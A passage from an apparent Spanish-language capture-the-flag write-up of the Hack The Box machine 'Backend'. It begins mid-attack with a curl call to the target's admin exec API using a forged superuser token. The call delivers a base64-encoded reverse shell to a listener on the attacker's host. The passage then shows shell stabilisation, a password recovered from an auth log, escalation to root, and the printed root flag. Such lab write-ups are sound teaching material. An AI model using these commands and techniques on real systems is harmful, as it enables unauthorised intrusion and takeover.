$ curl $(sed 's/ /%20/g' <<< '10.10.11.161/api/v1/admin/exec/echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash') -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.161.
Ncat: Connection from 10.10.11.161:37026.
bash: cannot set terminal process group (669): Inappropriate ioctl for device
bash: no job control in this shell
htb@Backend:~/uhc$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
htb@Backend:~/uhc$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
htb@Backend:~/uhc$ export TERM=xterm
htb@Backend:~/uhc$ export SHELL=bash
htb@Backend:~/uhc$ stty rows 50 columns 158
Enumeración del sistema
En el directorio actual tenemos estos archivos:
htb@Backend:~/uhc$ ls -la
total 80
drwxrwxr-x 1 htb htb 296 Apr 15 03:56 .
drwxr-xr-x 1 htb htb 192 Apr 15 03:56 ..
drwxrwxr-x 1 htb htb 138 Apr 6 13:27 .git
-rw-rw-r-- 1 htb htb 18 Apr 6 13:27 .gitignore
drwxr-xr-x 1 htb htb 66 Apr 9 15:10 .venv
drwxr-xr-x 1 htb htb 54 Apr 10 00:59 __pycache__
drwxrwxr-x 1 htb htb 90 Apr 6 14:43 alembic
-rwxrwxr-x 1 htb htb 1592 Apr 6 13:27 alembic.ini
drwxrwxr-x 1 htb htb 218 Apr 10 01:02 app
-rw-r--r-- 1 htb htb 3998 Apr 15 04:08 auth.log
-rwxrwxr-x 1 htb htb 127 Apr 6 18:31 builddb.sh
-rw-rw-r-- 1 htb htb 19353 Apr 6 13:27 poetry.lock
-rw-rw-r-- 1 htb htb 2750 Apr 10 01:36 populateauth.py
-rwxrwxr-x 1 htb htb 171 Apr 6 13:27 prestart.sh
-rw-rw-r-- 1 htb htb 332 Apr 6 13:27 pyproject.toml
-rw-rw-r-- 1 htb htb 118 Apr 9 15:10 requirements.txt
-rwxrwxr-x 1 htb htb 241 Apr 10 01:02 run.sh
-rw-r--r-- 1 htb htb 24576 Apr 15 03:49 uhc.db
Si miramos el archivo auth.log
, vemos algunos eventos de admin@htb.local
, y un valor extraño Tr0ub4dor&3
:
htb@Backend:~/uhc$ head -15 auth.log
04/14/2022, 07:16:39 - Login Success for admin@htb.local
04/14/2022, 07:19:59 - Login Success for admin@htb.local
04/14/2022, 07:33:19 - Login Success for admin@htb.local
04/14/2022, 07:36:39 - Login Success for admin@htb.local
04/14/2022, 07:41:39 - Login Success for admin@htb.local
04/14/2022, 07:44:59 - Login Success for admin@htb.local
04/14/2022, 07:58:19 - Login Success for admin@htb.local
04/14/2022, 08:06:39 - Login Success for admin@htb.local
04/14/2022, 08:08:19 - Login Success for admin@htb.local
04/14/2022, 08:14:59 - Login Success for admin@htb.local
04/14/2022, 08:23:19 - Login Failure for Tr0ub4dor&3
04/14/2022, 08:24:54 - Login Success for admin@htb.local
04/14/2022, 08:24:59 - Login Success for admin@htb.local
04/14/2022, 08:25:19 - Login Success for admin@htb.local
04/14/2022, 08:26:39 - Login Success for admin@htb.local
El usuario htb
pertenece a los grupos sudo
y lxd
, que son útiles para escalar privilegios:
htb@Backend:~/uhc$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Escalada de privilegios
Podemos tratar de usar este valor extraño como contraseña para htb
(para ganar privilegios de root
mediante sudo
):
htb@Backend:~/uhc$ sudo su
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 1 incorrect password attempt
No funciona, pero sí que es la contraseña de root
:
htb@Backend:~/uhc$ su root
Password:
root@Backend:/home/htb/uhc# cat /root/root.txt
6ec23ed1654a955109e42bb23d730973